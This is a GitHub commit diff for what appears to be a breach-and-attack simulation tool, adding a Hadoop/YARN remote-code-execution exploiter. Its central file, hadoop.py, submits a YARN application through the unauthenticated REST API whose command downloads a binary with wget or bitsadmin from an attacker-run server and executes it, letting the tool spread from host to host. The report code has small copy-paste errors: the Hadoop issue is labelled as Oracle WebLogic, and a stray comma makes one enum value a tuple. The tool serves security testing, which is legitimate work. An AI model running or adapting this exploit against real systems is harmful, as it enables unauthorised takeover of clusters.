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Merge pull request #182 from VakarisZ/hadoop_rce 

Hadoop with web_rce framework
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itaymmguardicore 2018-08-30 14:55:48 +03:00 committed by GitHub
parent 61592776e9 c8e131d913
commit 62f6d7748b
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GPG Key ID: 4AEE18F83AFDEB23
8 changed files with 151 additions and 9 deletions
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4
infection_monkey/config.py
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@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi
]
# how many victims to look for in a single scan iteration

3
infection_monkey/example.conf
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@ -38,7 +38,8 @@
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter"
"WebLogicExploiter",
"HadoopExploiter"
],
"finger_classes": [
"SSHFinger",

1
infection_monkey/exploit/__init__.py
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@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
from weblogic import WebLogicExploiter
from hadoop import HadoopExploiter

100
infection_monkey/exploit/hadoop.py Normal file
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@ -0,0 +1,100 @@
"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import requests
import json
import random
import string
import logging
from exploit.web_rce import WebRCE
from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
import posixpath
from model import MONKEY_ARG, ID_STRING
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
paths = self.get_monkey_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
command = self.build_command(paths['dest_path'], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return True
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
resp = json.loads(resp.content)
app_id = resp['application-id']
# Create a random name for our application in YARN
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
payload = self.build_payload(app_id, rand_name, command)
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
except requests.ConnectionError:
return False
return resp.status_code == 200
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND
else:
base_command = self.WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
@staticmethod
def build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
return payload

1
infection_monkey/network/mssql_fingerprint.py
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@ -29,7 +29,6 @@ class MSSQLFinger(HostFinger):
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout

10
monkey_island/cc/services/config.py
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@ -93,6 +93,13 @@ SCHEMA = {
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
@ -633,7 +640,8 @@ SCHEMA = {
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter"
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN

17
monkey_island/cc/services/report.py
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@ -31,7 +31,8 @@ class ReportService:
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic exploiter'
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
}
class ISSUES_DICT(Enum):
@ -44,7 +45,8 @@ class ReportService:
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
WEBLOGIC = 9
WEBLOGIC = 9,
HADOOP = 10
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -306,6 +308,12 @@ class ReportService:
processed_exploit['type'] = 'weblogic'
return processed_exploit
@staticmethod
def process_hadoop_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'hadoop'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -319,7 +327,8 @@ class ReportService:
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -441,6 +450,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

24
monkey_island/cc/ui/src/components/pages/ReportPage.js
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@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent {
AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8,
WEBLOGIC: 9
WEBLOGIC: 9,
HADOOP: 10
};
Warning =
@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
</ul>
</div>
:
@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent {
);
}
generateHadoopIssue(issue) {
return (
<li>
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>).
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to default Hadoop/Yarn configuration being insecure.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent {
case 'weblogic':
data = this.generateWebLogicIssue(issue);
break;
case 'hadoop':
data = this.generateHadoopIssue(issue);
break;
}
return data;
};